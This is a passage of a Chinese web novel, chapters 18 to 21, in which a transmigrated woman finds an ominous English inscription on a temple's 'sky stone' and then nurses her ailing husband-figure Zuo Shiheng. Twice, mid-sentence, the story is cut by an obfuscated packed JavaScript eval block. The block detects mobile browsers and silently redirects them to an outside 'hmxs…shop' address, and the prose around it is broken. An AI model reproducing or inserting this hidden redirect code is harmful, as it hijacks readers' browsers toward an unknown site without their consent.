“那……”他平缓气息,语气低软温和,“若是不困,再陪我待一会儿,好吗?” 安声点头:“好。” 两人坐在窗下,迎着月光烛火,左时珩向她解释了最近在忙什么。 去岁夏季宜州洪涝冲毁了一条新修的堤坝,淹了无数青苗,当地州府与河道衙门被问责,向工部申请修缮,工部派了人过去监察,于年底补修完毕。可今年春汛,再次堤毁田淹,皇帝震怒,宜州各衙门相互推诿,推责工部,言去年修堤,工部派人验收无误,不关他们的事。 于是工部必要向上作出合理解释,且当务之急,是泄洪堵缺,再派人重修,其中涉及多部门合作,实在繁琐麻烦。 左时珩说河堤两次被毁,到底是筑堤衙门贪污受贿还是别有原因,也须尽快核实,但懂水利的高级官员不多,左侍郎张为是张大人算一个,却正好离京去了外地,暂时赶不回来。 若照往常,左时珩本该亲自去的,但他如今……并不愿意,便派了都水清吏司主事于群动身前往,于主事虽也懂些水利,却不精通,且职级威严不够,到了宜州,各衙门依旧塞责敷衍,他左右为难,不得不一封封疏文发到工部,请示左时珩意见。 宜州虽不算太远,可到底信件来回须得三四日,而形势瞬息万变,又是春忙时候,便推进得十分艰难。 安声认真听罢:“原来是这样,怪不得你忙成了这样呢,都说能力越大责任越大,左大人,你就是太优秀了,这个国家没你不行。” 左时珩被她逗笑:“抬举我了。” 安声道:“真的,我要是皇帝,等你从宜州回来,我就给你大大的奖励。” 左时珩神色微怔,缄默片刻,问她:“安声,你是希望我去一趟宜州吗?” “我知道你不去是因为我在家,你放心不下,不过你也可以相信我,作为一个成年人,我完全能照顾好自己,何况,我这段时间在家里也无聊的很,已经想好去处了。” 她与左时珩说起上次林雪同礼物一道送来的那封手书,里面提及她从前常去的那座京郊天外山,如今人间芳菲已尽,山中却是漫山桃李,约她有空一同前去小住。 她当时回信说再考虑,如今却正是好时候。 左时珩听罢,良久不语。 安声问:“怎么了?” 他摇头,若无其事地笑道:“那座山上有一座山寺,叫做来客寺,寺中大雄宝殿后另有一正殿,供奉的是块石头,据说来自天外,几十年前……” 他略顿了顿,才继续说完:“坠落在云水山。” 18.诡石 悬挂着“陈”字灯笼的马车慢行在官道上,车轮辚辚,扬起灰尘。 马车里,两个衣着华贵的年轻女子挨着坐在一起,一路聊着天外山。 林雪说:“这儿啊,以前不叫天外山,叫天长山,皆因那块大石头供在山上寺里,才附和着改了个名儿。” 原来如此。 安声眉间微松,不过心间迷雾依然未散。 起初林雪在信中只提及了“天外山”,她不知有什么,左时珩后跟她说了“来客寺”,她才觉得诡异。 天外来客,指向性如此明显的一个词,难道只是巧合? 天底下的巧合未免也太多了。 尤其发生在她身上的。 所以林雪这会儿解释天外山是后来改的名儿,的确让她紧绷的神经松弛了点。 看来,至少这一点,的确是巧合。 左时珩那晚同她说过,那块大石头曾于几十年前坠落于云水山中,那时是大丘晟宁帝登基第三年,以为神迹,便差人运出,奉于郊外天长山新修的一座寺里,寺原先也有个名儿,不过因这块石头改叫来客寺后,倒也没人记得从前叫什么了。 林雪说“她”从前常去。 安声已知那位“安声”与她一样来自现代,那么她常去天外山,难道是为了那块石头不成? 又或者,她五年前不是消失,而是通过那块石头找到了回家的方法? 安声思维忍不住发散不止。 可她又觉得不对。 若是回去了便说回去了,为何“她”又会告知左时珩,她会在安和九年再次出现呢? 显然,“她”并未出现,来的是她。 莫非,“安声”早就知道,出现在云水山的,会是……她? 安声莫名打了个寒颤。 “怎么了?冷吗?”林雪抖开一块毯子裹在她身上,“山里是要更冷些,可别着凉了,回头左大人要怪我没照顾好你,不让你出门了。” 安声笑笑,道了声谢,拥着毯子靠在摇晃的马车壁上,继续沉思方才的问题。 她有一事不明,既然那位穿越者前辈什么都知道,为何不给她留下些话解释明白呢?叫她如今完全云里雾里。 马车行至半途,临时停下,打断了她的思路。 林雪掀开帘子问怎么了,有婆子过来说小少爷在后面那辆马车上睡醒了不安分,正闹着要娘亲呢。 林雪头疼,叫奶妈把孩子带过来,又对安声无奈道:“我管不好孩子,宝儿若是闹得你不爽,你便去后面坐吧。” 林雪的儿子陈方泽,小名宝儿,今年五岁,正是人嫌狗厌的年纪。 听她这话,安声不禁用同情的眼光望着她。 她想到爸爸与再婚的那位阿姨生的儿子,便是被惯得无法无天,三四岁就会用手机充钱打游戏,五六岁满口网络用语,毫无礼貌规矩,后来有次和人抢东西时,不小心将胳膊摔折了,才勉强安分了两个月。 她那时听说了,心里还有些不太道德的幸灾乐祸。 很快奶妈将宝儿抱上马车,林雪将孩子接在怀里,那孩子乳臭未干,满脸泪痕,鼻子嘴巴像林雪,模样倒有些可爱。 林雪拿帕子给他擦脸,他动来动去,十分不配合,哼哼唧唧地,又忍不住好奇地看着安声。 “宝儿,叫人,喊姨。” 孩子在她怀里扭动着喊:“不要不要不要……回家回家我要回家……” 林雪制止不住,焦头烂额,不由歉疚道:“安声,他怕是没睡好,所以闹脾气呢。” “怪我,我说陪你小住,又舍不得孩子,孩子小,也离不开我,故而带他一起出来了,早知道还不如留他在家里。” “陈方泽!” 安声被小孩吵的心烦,忽然喊他大名。 孩子一愣,抬头望了安声片刻,嘴又一咧。 “你再哭!你再喊!”安声低喝,冷眼用手指着他,“我数三声,三、二……” 一声比一声严厉,目光更是冷峻。 车内小儿哭闹瞬间止住,害怕地望着安声,撇着嘴直往母亲怀里钻去。 林雪简直傻眼。 遂朝她缓缓竖起大拇指,满眼钦佩:“安声还是你厉害。” 安声后知后觉,讪道:“我可能有点凶吓到他了……” 林雪笑道:“不妨事,反正孩子小不记仇。” 又感叹道,当初皆因岁岁和阿序,才那般期待自己的孩子,谁知安声那两个是小神仙,自己生的却是个混世魔王。 天外山比云水山近得多,山中景色也秀丽得多,因云水山无寺无庙,少人涉足,故而当年那块石头降在山中,才被运到了天外山。 来客寺不算香火鼎盛,倒也游人不绝,不过不在节时,便冷清许多,林雪说,到底是看热闹的人多些,其实灵倒不怎么灵,还不如相国寺,因此百姓真有什么要求的,不会专门来此。 安声便问:“那‘我’以前怎么会常来?” 林雪随口玩笑:“我还想问呢,不过你处处与旁人不同,我已是见怪不怪。” 安声此次是跟着陈府车队,只带了穆诗,林雪因携幼子,奶娘婆子丫头侍卫什么的带了许多。 她们要来住,自然提前与山寺主持说过,寺中本就人不多,既有贵人来访,便闭了山门,只留一道小门供散客出入,另置客舍数间,请他们歇脚。 天外山除了这座来客寺,风景的确独秀,秋朝红枫似火,漫山遍野五颜六色地烧起来,仿佛霞光千里。 虽只四月,赏不到秋,山中桃李樱杏却比城中晚了半月,开得正好,是凋谢前的极盛之时。 披星峰上还有一处甘冽泉眼,化作瀑布小溪,取之烹茶,回味清甜。 若说不出京城却还能散心得来清静的去处,天外山榜上有名。 安声与林雪都是二品大员的女眷,因此才至山脚便被等候多时的寺众迎了上去,林雪忙着照顾孩子,安排下人,安声则迫不及待地往那立石殿一观了。 到底是佛教圣地,山寺虽因奇石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704868|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为主,却也盖不过大雄宝殿去,比正殿规模稍小,不过还是比其他菩萨的龛位气派多了。 安声提裙跨入高高的门槛,便望见了这块石头的全貌。 好大的石头。 眼前这位天外来客高约五尺,宽不足两尺,似金非金,似铜非铜,通体乌黑,却隐有彩光,形状奇特,整体仿若衣袂飘飘,临风而去的神祇。 与所有神像一样,石头前燃着莲花灯,添着香油,燃着檀香,下方亦摆了两个蒲团,以及一个功德箱。 若赶上殿内昏暗,的确像是一位神像立于此处,让人分不真切。 安声欲走近去看,陪同的两个和尚师父便拨开围栏,予她方便。 她伸手摸了摸石身,表面粗糙,纹路纵横,还以为是天然形成,再仔细一看,原来新痕旧迹层层叠叠,全是字,不过够不到的地方依然光滑如新。 师傅解释说有些贵人会在石头上留言,因不是神像,倒也无什么忌讳,端看个人喜好,又执了烛火给她。 安声道谢,借烛光细瞧,沿着石头转了一圈,至其身后某处时忽然大惊,失手跌了油灯。 不仅两位师傅被吓到,连在门外候着的穆诗也匆匆进来:“夫人怎么了?发生什么事了?” 火星被扑灭及时,狼藉也很快被收拾干净了。 安声退到后门门槛,斜倚门边,深吸了口气,几乎按不住胸腔里那颗狂跳的心脏。 “没事……”她盯着那半隐在暗中的石头,缓缓道,“一只小虫子落在我手上,把我吓到了。” 午后她在林雪院里陪她与宝儿玩了会儿,林雪也听说了此事,便问她缘由,她同样搪塞了过去。 只是白日所见始终在心头萦绕不去,仿佛一团阴云。 到了夜里,除了殿中长明灯不灭,其余各处灯火也都渐渐熄了。 今夜风清月朗,星幕低垂。 穆诗在隔间已睡熟了,安声却辗转反侧。 直至夜深,她蹑手蹑脚地下了床,没有惊动穆诗,走出了客舍,借一道月光往立石殿而去。 白日里怡然草木此刻犹如鬼魅环伺,山中尤其寒凉,她即便披了斗篷,仍是微微颤抖。 听说庙宇山寺,白日里阳气旺盛,鬼怪避之不及,入夜后却是百鬼夜行,群魔乱舞,传说不知真假,总之是骇人听闻。 安声全凭一点探知欲,才硬提了几分勇气,半夜出门。 她特意绕过了各大佛菩萨门前,提灯推开了立石殿的木格雕花侧门。 风,烟雾似的挤了进来,如影随形,摇晃着烛火。 她的影子在明暗中若隐若现,仿佛被扯得支离破碎。 直到她又站在了那块石头的背面。 火光贴近,映出柔和温润的眉眼。 安声细细观摩,在无数“一游”“题诗”“姓名”“祈愿”之间,她再次看清了那句话。 那句用英文刻写,惊得她打碎灯盏的话。 “第十一次,又是安和九年,左时珩死,重来。” 19.回转 林雪和安声原是说的在天外山小住三五日,是为她散散心,毕竟病了五年才回,又忘了前尘,她怕她心里负担重。 不过这三五日,安声在天外山不但没有放松,反倒愈发心事重重,精神不济,实在叫她奇怪。 她担心得很,私下里拉了她单独问,可是遇上什么事了。 安声也不知怎么解释,只得说没有。 她不是个好演员,无法在有心事时装出一副风轻云淡的样子。 见林雪不高兴,她便说,是想在那块奇石上找自己的题字,却没找到,说自己本想藉由此记起些什么,看来徒然。 这话也并非全是假话,她夜间在立石殿,烛火昏残,在密密麻麻的字里面,除了那一句令她寝食难安的,她尚未找到别的“安声”的字迹,或许她从前留过许多,只是被盖住了。 若是白日去,殿中虽光线稍好,但常有僧众和香客出入,她趴在基座上逐字寻找,未免有些过于怪异而引人瞩目。 林雪听罢愣了愣,遂松了口气,笑道:“原来为这事,为何不告诉我呢,我就说是同我生疏了。你从前的确刻过字,我也刻过呢,不过只是用小刀随手划上去的,只怕早就无法辨认了。” “让我想想……”她露出思忖之色,半晌,眼一亮,“是了,我想起来了,你刻的那句是‘字在石上,不会消失’……多奇怪啊,旁人都是写诸如‘平安喜乐’‘健康长寿’得多,你偏跟别人不一样,所以我这么多年还没忘了。” 字在石上,不会消失? 安声惊讶,确实很奇怪的一句话。 字面意思,自然很好理解,不过在这奇石上用刀划上浅浅一层,本就容易磨损,若被后来者覆盖的话,无法辨认,也等同于消失了才是。 为何要说不会消失呢? 她琢磨不透,又实在好奇,便决意实践一番,便又进了立石殿,趁殿中无人,取下发上金簪,抬手在石头腰部位置,简单划了一竖。 穆诗看的好奇:“夫人怎么不刻字上去?只是这样是何意呢?” 安声扯了个笑:“其实我也不知道,可能是好玩吧。” 她用指腹在新留下的那道划痕上磨了磨,痕迹立即浅了些,她便更不解了。 看样子分明会消失才对。 她略想一想,又在竖线上重重划了几道,加深了原本的痕迹。 石头坚硬,她直到手腕酸软,金簪也弯曲了才停下。 原先浅浅的一道划痕,如今更像个小小的坑,虽不太美观,却有些显眼。 安声长出口气,将簪子递给穆诗收好,心想过段时间再寻机会来天外山看看,她留下的痕迹会不会有什么变化。 眼见有几位善男信女从大雄宝殿出来,要往这边来,安声便打算离开,却在要走,余光忽然瞥见什么,不由猛地转过头盯着看。 顷刻,她再次贴近石头,手指摩挲在自己留下的那道划痕上,并沿着同样高度的位置绕着石头转了一圈。 有香客进来,注意到这里,奇怪地看过来。 安声迅速拉着穆诗从后门离去,步履匆匆。 穆诗一头雾水,见自家夫人气息急促,额有薄汗,神情也略恍惚,不禁担心地拉着她在一棵树荫处停下。 “夫人你怎么了?” 安声心跳如鼓,穆诗唤了几声,她才回过神,脸上血色已褪去大半,喃喃道:“同样的划痕……怎么会有七个……” - 在天外山小住了七日,陈尚书便派人来接了,说是女儿想念母亲与弟弟。 林雪听到来接的人这么说,便拉着安声道:“你听见没有?分明就是我们家陈律师想我了,可他啊,好听的话偏不说给我听。” 若非她能聪明意会,换个同样不解风情的人嫁他,便是两根木头相对杵一辈子了。 “安声,我真羡慕你啊,什么时候我们家陈律师也跟你家左大人一样,对妻子百般温柔呢。” 提及左时珩,安声不由眼中蕴上暖色。 说起来,她好久没见他了,真是有点……想念。 天外山一行,不仅迷雾未散,反倒是疑团更多了。 事已至此,安声只得暂时按下,先与林雪下山归家。 回到府上,虽有不少下人在前院,后宅倒是空荡荡的,她一时还有些不适应,连吃饭的时候都有些食不知味。 好在穆管家给她送来家书一封,是左时珩亲笔。 信中先是与她解释宜州决堤乃是当地州府与河道衙门不通水利,按图索骥,错误修建导致,若要牢固防洪,须重画图部署,拆除约三成,再打地基重新修缮,耗时较久,费工费力。又问她天外山一行如何,是否愉快,还说若是孤单,可接岁岁和阿序回家。 信的内容不长,用词简约,语义明确。 安声翻来覆去看了几遍,有些微微出神。 她不知怎么,想到林雪同她说的关于陈尚书的那句话,说他分明想她了,却偏偏不说出口。 那左时珩会不会也…… 安声脸热起来,忙合上信纸装回信封,拍了拍双颊绯色。 ……安声啊安声,你不要坠入爱河啊,两个世界的人是没有结果的。 因左时珩在信中并未提及何日归家,安声只好又去问穆山,穆管家说这样的事说不准,从前短则十几日,长则两三月也是有的,所以少爷与小姐才常住书院或永国公府。 安声不禁叹息,这么说的话,岁岁和阿序连留守儿童都不算,算是寄宿儿童。 不过左时珩与他们的母亲,却在极其有限的陪伴中,依然给予了他们全部的爱,将他们教导得如此乖巧懂事。 安声独自在宅邸又待了几日,照样每日练字赏花喂鱼,却提不起兴致,反而索然无味。 或许是之前左时珩在家时,无论再忙,每日都会陪她,让她变得贪心了,她虽有意逃避,却也不得不承认自己对左时珩的好感与依赖已无法忽视。 她耳畔似乎有一对天使恶魔,恶魔在左边说,谈恋爱怎么了,成年人之间你情我愿的事。 天使说,对啊。 安声:“……” 好在没等太久,穆管家又给她送来一封家书。 安声几乎是迫不及待地打开来看。 读罢,一股失落油然而生。 左时珩在信中向她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711305|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道歉,说事务繁多,只怕还要半月,并为她随信稍来一支在书中压过的琼花,她拾起时纸上还残留着淡淡香味。 安声低头嗅闻,却觉得更像是左时珩身上清冷的白梅。 许是料到她不会因自己孤独无聊就去接岁岁或阿序回家,左时珩便给岁岁写了信,让岁岁回家去住。 岁岁接了爹爹的信,才知爹爹去了宜州,只有娘亲一人在家,便于当日就回了家。 安声心下既不好意思,也十分感动。 岁岁一回,家里空气便活泼欢快多了,她与安声说起在国公府读书日常,说那位教导她琴艺的老师文瑶文先生,不仅弹得一手好琴,更精通剑术。 岁岁说,她是偶然发现的,因她琴弹得很好,文先生准许她试谈她的琴,她那把琴是前朝大师所作,似有上古遗音,她很喜欢。 她弹了一曲,无意瞧见琴中有剑,便寻了个机会,与先生坦诚,文先生起先紧张,而后犹豫着与她说了实情,并嘱咐她不可告诉旁人。 她言自己曾是江湖中人,有些仇家,即便入了乐坊,也习惯以剑傍身。 岁岁听得双眼发光,非但没有害怕,还请文先生教她练剑。 文瑶很是惊讶,问她缘故。 那时她坐在石阶上,说:“变得很厉害,就能帮爹爹娘亲分担很多事。” 文瑶笑笑,摸着她的头:“你这个年纪该无忧无虑,不该有这么多烦恼,烦恼都是大人的。” 岁岁认真道:“世上烦恼始有定数,我无忧无虑,爹爹娘亲便多忧虑,我多烦恼,爹爹娘亲便多轻松。” 文瑶实在惊叹她的聪慧贴心,也因此答应了她,愿意偷偷教她练剑。 岁岁与安声说这事时,还给她看自己的手,安声见她一双稚嫩小手短短月余便已磨出薄茧,不由心疼不已。 “其实老师说得对呀,世上的烦恼是大人的事,小孩子提前想太多,会少很多快乐的。” 岁岁眷恋地赖在她怀里:“我已长大了,只是在娘亲面前还是个小孩子而已。” 安声失笑。 翌日,是个雨天,小雨自前夜起便淅淅沥沥地下个不停,晨起院里潮湿弥漫,翠色更浓。 阿序匆匆赶回了家,竟不是叫家里来接的,而是自己租赁了一辆马车。 他奔来风芜院,发梢衣角皆被雨水打湿,携着一阵凉意冲进来,连声喊:“娘亲!娘亲!” 安声正与岁岁临摹字帖,闻声立即蹲下接住他。 “怎么了阿序?出什么事了?” 阿序气喘吁吁,焦急道:“娘亲,爹爹病倒了,如今在嘉城驿馆,我是从山长那里听来的消息。” “……什么?”安声诧住,“你爹爹信中说还在宜州并未启程啊。” 阿序摇头,几乎要哭出来:“不是的,爹爹夙夜忧劳,早便启程,只是行至半途忽然病倒,竟不能行,怕娘亲担心,所以才写信骗人。” “娘亲……”安声衣袖被轻扯了下,转头见岁岁豆大的眼泪滚落下来,“现在怎么办啊……” 安声思忖片刻,将两个孩子揽入怀中,柔声宽慰:“别担心,我去接你们爹爹回家。” 20、病倒 宜州双星河流经两府四州,其中贯穿宜州全境,是以农民灌溉重要水系,便是旱季也不会断流,正因水流量大,若遇上当年雨水多,便可能形成洪涝灾害,因此筑堤束水是重中之重。 往年宜州多发洪涝,常造成不小的损失,当地州府只得向朝廷申请灾年减税,后在户部工部的共同商议下,决定为当地拨款筑堤,一修便是三年,于去年正式完工。偏去岁雨多,正好发了洪,其中一段新修的堤坝被悍然冲垮,原先以为有堤为屏的百姓安心种下的青苗,全数淹没在泥沙之下。 不仅百姓与当地损失惨重,朝廷更是丢了面子,因此一番严查重判后,不少官员或降职或入狱。 之后朝廷勒令工部派去官员亲自监督,紧急修缮,不料完工后,今年春汛又再次出事,惹得龙颜勃然大怒。 去年被冲垮的那段堤坝与今年毁掉的并非是同一段,但头疼医头脚疼医脚之法显然无法解决问题,左时珩原可立即亲往,却因私心不舍离京,只得字字及时批阅指示,为案牍之劳形。 那夜与安声陈明后,他即刻动身前往,一路奔波,日夜兼程,五日行程,不到四日便抵达宜州。 至宜州后,更是片刻未歇,登山涉水,仔细查问勘探,力图尽快探明原因解决问题,赶回京城。 他发现筑堤虽有贪腐偷工之嫌,根本原因乃是当地河官缺乏水利、工程等专业经验,他们多是科举出身,熟读经史子集,往往习惯依赖于相关书籍,按图索骥,统一标准,而不善于因地制宜,导致某些地段的地基因重量不对而逐渐下沉,与其他堤段互相角力,出现倾圮,当洪水携万钧之势而来,便会瞬间发生倒塌。 他立刻着手重新规划,画图,给相关官员说清原由,陈明利害,并安排人抓紧修缮缺口、在洪水后及时拆除存在隐患的堤段,重新加固等。 连日来,左时珩一日歇不过两个时辰,因没胃口吃的也不多,本就孱弱,气血更是愈发消耗得快,在完成主要事宜后,返京途中便倒下了,被就近送往最近的嘉城驿馆养病。 因实在病重不能动身,他怕安声担心,便写了信回去,说自己还要在宜州再耽搁半月。 此事不是秘密,他病倒时,便有奏疏紧急送往京城,皇帝关切,派了之前就给左时珩看过诊的胡太医赶往嘉城。 而左序所在的松下书院,谈笑有鸿儒,往来无白丁,山长更是致仕的弘文阁大学士,自然也知此事,他们谈话时,被左序听见,焦急的假也来不及请,就去赁了辆马车飞奔回家了。 原先这样的事也不是没有过,只是岁岁与阿序年岁尚小,除了哭着担心爹爹别无他法,但如今安声在家,他们兄妹便好似有了主心骨。 穆山带了府上侍卫当日便护送安声赶往嘉城,因不知何时回来,便让阿序和岁岁还是先回了书院以及国公府。 嘉城离京城不算远,陆路一般不到两日,安声他们加紧赶路,当天半夜就进了城。 当地县官听闻是尚书夫人来了,于是亲自来接,并送她去了驿馆。 路上安声也是大致了解了下左时珩目前的情况。 他在嘉城已有五日,起初几日,昏睡多于清醒,这两日要好些,只是进食不多,药也吃不进去,总是才吃了不到半个时辰就全吐了。 加上这两日阴雨连绵,天气返凉,他旧疾复发,咳嗽加重,夜间无法躺下安睡,只能坐靠着才好受一些。 偏左时珩这样的人,睡不着不想办法休息,反而干脆挑灯处理公务,实在困极,才倚着驿馆那张硬硬的老旧木椅上阖眼歇一会儿,气得胡太医也顾不上尊重了,直接以医者身份多次训斥自己这位不听话的病人。 只是每次左时珩都笑笑,说知道了,一定注意。 他性格很好,似乎没什么脾气,却是最执拗的,决定的事就会一直做,旁人根本没有办法。 所谓在其位谋其政,左时珩凡事亲力亲为,甚至多做十倍百倍,肩上担着极大的责任,即便在失去妻子后心伤至深,也并未耽误过任何要事,入仕以来,功绩斐然。 因此,他年纪轻轻就被拔擢为工部尚书,朝廷上下却并无异议。 嘉城县令与安声秉明左大人的情况后,见安声沉默不语,不由惴惴不安道:“驿馆条件简陋,不过下官多次请尚书尊驾前往县衙歇养,尚书都拒绝了,实在并非下官不尽力侍奉……” 安声笑了下:“没关系,大人已经照顾得很周到了。” 她赶到驿馆时已是凌晨,不想劳师动众的惊醒旁人,就与县令说了尽量低调,简单收拾几间屋子安顿随从即可。 胡太医还未睡下,安声先去见了他,询问了病情,以及自己能帮上的忙,胡太医说,左时珩不久前才勉强吃了药睡下,请安声夜里多注意一下他的情况,若有什么不对的,及时差人叫他。 安声一一应下,才去看左时珩。 他住的屋子在驿馆最后,不大,同左宅比自然简陋得多,以一道四扇屏风分了里外间,外间加了张软榻,方便下人夜间歇着时时照顾,里间则是一张床,一张桌子,一把椅子。 因安声来,驿馆的下人便撤下了。 安声端了一盏烛台绕过屏风进了里间,里间窗户紧闭,药味清苦,浓郁至极。 她将烛台放在窗台边,借着昏暗光源轻轻走近,在床边坐下。 左时珩侧躺睡着,身上盖着两床棉被,呼吸轻不可闻。 这样的天,府上都已经换了薄被了,但左时珩似乎还是很冷,睡得不大安稳。 她借烛光细瞧他,他眉骨高,眉峰低,眉尾上扬,一副眉压眼的冷峻长相,平日不笑时,看着很是清冷,有些生人勿近感,不过他个子很高,安声与他说话时总是仰头,便只见到他垂落的眉眼里全是温柔笑意,从不觉得他清冷。 他像雪,走近了却是春水。 他现下这般闭眼睡着,安静得很,睫羽长而浓密,鼻梁高挺,实在好看。 只是两颊消瘦,脸色苍白,唇瓣也干燥,完全一副病容。 安声说不上自己一路奔波至此,在见到这样一个虚弱的左时珩时是何心情。 是心疼,是焦虑,是怜惜,是想到那句“安和九年,左时珩死”,忽然就落了泪。 她低下头,用手背拂着泪水,不敢发出声音。 不过,她才有些庆幸左时珩这会儿睡得还好,下一刻他便忽然急咳起来,身躯仰起,被子滑落,他人也几要向床下倾去。 安声吓了一跳,几乎是下意识接住了他,他趴在安声的臂弯里,咳得胸腔都在震动。 安声忙拍着他后背,将他扶好,让他趴靠在肩头,直到渐渐缓过来。 听得他在耳畔气息急促,却又不似醒来,安声不由唤他名字。 “左时珩?” 半晌,她才听见一声嘶哑却迷蒙的回应。 “嗯,阿声……” 他似乎半梦半醒,将她当作了亡妻,往她颈窝处蹭了蹭,又低低喊:“阿声……” 声音极轻,仿若梦一样缥缈,却掩不住颤抖,听来有些哽咽。 暖光暗暗的,从侧面照来,他们的影子映在墙上合二为一。 安声看不见左时珩的神情,只听清了他无法言说的哀伤与极深的眷念,她抱着清减至此的左时珩,仿佛怀中唯剩一副骸骨而已。 不知为何,或许是因为共情,在这一刻,她竟哭得不能自已,于是拥紧了他,回应他道:“是我,我在这里。” 听见她的声音,左时珩更是出于本能反应,将她紧搂在怀,又有些孩童般的不安,在贪恋她气息与体温时,一遍遍喊她名字。 安声若没有回应,他便更加恐惧,祈求一般地重复着:“不要走……不要走……阿声……” 安声便抚摸他的发:“没有走,我就在这里。” 他这才放心,乖乖嗯一声。 真是从未见过他如此,在安声印象中,他始终温和沉稳,有时严肃,但可靠,强大,万事周全。 看来,他是强撑太久,只会在妻子面前坦诚脆弱。 她想,左时珩在迷迷糊糊间,认错了人。 但她私心作祟,不想为了一点自尊而在此刻残忍推开他,惊醒他。 或许出于她的安抚,或许是左时珩已然倦极,他就这般靠着她睡着了,气息悠长,比方才安稳许多,不过偶尔轻咳一声。 安声拥着他坐了许久,直到灯花哔啵,烛火跳跃,蜡烛燃尽,屋内昏暗得如笼在阴云之下。 窗外又下起雨,滴滴答答,敲打檐瓦。 她小心扶着熟睡的左时珩躺下,盖好被子,将窗推开了一道缝隙,水汽寒凉,透过窗缝侵蚀着她的指尖。 黎明之前夜色最浓,目光探出,如同行在墨中,上下混沌,不见万物。 安声没有分毫睡意,她心口发闷,有些透不过气。 那句刻在石上的话始终在她脑海里盘桓不去。 左时珩……会死在安和九年吗? 第十一次重来,重来…… 重来又是什么意思。 什么重来?何人重来?因何重来? 她深吸了口气,清苦的药味随空气灌入肺腔,让她清醒了些。 她隐约有些荒诞的猜测,却又仿佛依然身在迷雾之中。 “安声”,会是,另一个——她吗?《 》 21、入梦 天才蒙蒙亮,左时珩便咳醒了。 虽只睡了几个时辰,却是他这段时间睡得最沉最长的。 清晨,雨已停了,不过依旧是阴天,外面刮着风,有些冷。 他感到被子里有些凉意,身子也发冷,因而胃里一阵反酸,十分想吐,只是没吃什么,也吐不出来。 他强撑着坐起,准备下床倒杯水喝,已有人匆匆走近,坐到床边扶着他:“来,先喝点温水。” 左时珩怔了怔,忽然转头,似乎不可置信。 慢慢的,眼尾泛出一片绯红。 安声见他发愣,便知他昨夜的确不大清醒,以为是一场梦境,或许醒来什么也没记得。 她笑了下:“喝水啊,左时珩。” 左时珩竟都忘了去接水杯,而是就着安声的手喝了几口,润了润干燥难受的咽喉。 “喝完。”安声说,又问,“还要吗?” “……阿声?”他蹙起眉,嗓音嘶哑,几不成形。 不过清醒过来,便又改口:“安声?你怎么会……出现在这里?” “不欢迎我?” “我……咳咳咳……” “我开玩笑的。”安声赶紧将杯子放下,拍着他后心,待他稍缓一些,才说道,“不过你写信向我隐瞒病情一事,我还是有点生气。” 她起身去外间提了茶壶进来,又倒了杯水,将缘由简单解释了遍。 “……阿序和岁岁都担心的不得了,所以,我来接你。” 左时珩唇瓣翕张,欲言又止,到底没将想问的话问出口。 他温声道:“抱歉,是我考虑不周,让他们担心了。” “还有我。” “……什么?” “我也担心啊。”安声注视着他,叹了口气,“特别特别担心。” 左时珩望着她不语,眸中似有薄雾。 半晌,他低下头笑了声:“嗯,抱歉,让你也担心了。” “我明白你的想法,岁岁阿序还小,除了焦急难过也做不了什么,但至少不要瞒着我,可以吗?” “好。”左时珩轻笑应下,“下次不会了。” 他又解释:“其实这次只是太累了,病倒没那么……” 安声温热的手轻轻贴在他额头上,叫他仿佛被定住似的,话都忘了说,完全怔了。 “还好,应该没发烧。”安声松了口气,又握了下他的手,“怎么这么凉?” 不待他回答,她便伸手摸摸被子,皱眉:“我就说呢,连日阴雨绵绵,驿馆里的被子大约许久没晒了,都发潮,即便盖两床也不会暖和的。” 她连忙去外间将昨夜县令让人送来的新被子拿来,换下了其中一床,另一床就在床头叠起来,让左时珩靠着。 她将干净蓬松的被子在他身上盖好,又想到什么,便动作一顿,扯出左时珩的手臂,挽起他衣袖仔细检查。 左时珩甚至都没反应过来,又或者,他私心贪图她的关心,不舍得拒绝。 果然,安声在他手臂上发现多处擦伤与淤青,有些已经结痂,有些伤口还是红的,至于淤青,更是大片,向上蔓延。 她指尖的触感让左时珩微微战栗,气息也略急促。 于是他不得不克制着,通过别的话题转移注意力。 “安声,你是昨夜到的?” “对。” “昨夜……” “昨天……” 两人几乎同时开口,安声停下,示意他先说。 她猜到他大概想问,昨夜是不是做梦,她打算如实告知,这方面,她没什么好瞒的。 谁知左时珩却歉声问她:“昨夜那么晚才睡下,今又这么早醒,是不是我吵到你了?” 见安声不语,他叹道:“因着了凉,所以咳疾复发,不妨事,过几日便好了,而且有胡太医在,无须人特意照顾,你若与我住一个屋子,不但药味难闻,夜间咳起来,也会让你睡不安稳,于我更是心下难安。” 安声准备的话全堵住了,于是沉默地在床边坐下,盯着他,一直盯着他,盯到他有些无措,她才慢悠悠开口。 “手……” “嗯?”左时珩不解,却照做了。 他坐直身子,将双手向上平摊,伸到她面前,神情竟有些乖巧。 安声忍不住笑。 “我是想说,手臂上这些伤是怎么弄的?” “啊……”他后知后觉,耳根红起来,指节也下意识蜷曲,“双星堤下有一段乱石滩,路滑,不小心跌了一跤,并无大碍。” 安声又盯着他不语,直到他受不住,携一丝慌乱躲避她的视线,又低低咳起来。 安声做了一件大胆的事,她将被子往上提起将他裹住,顺势隔着被子轻轻抱住他,拍了拍他的后心。 她说:“左时珩,我想要你平安健康。” 分明很亲昵的举动,却并无暧昧。 安声感觉到左时珩微微僵住,片刻后,才倾身抵住她颈侧,于她耳畔笑着柔声回应。 “好,我会的。” …… 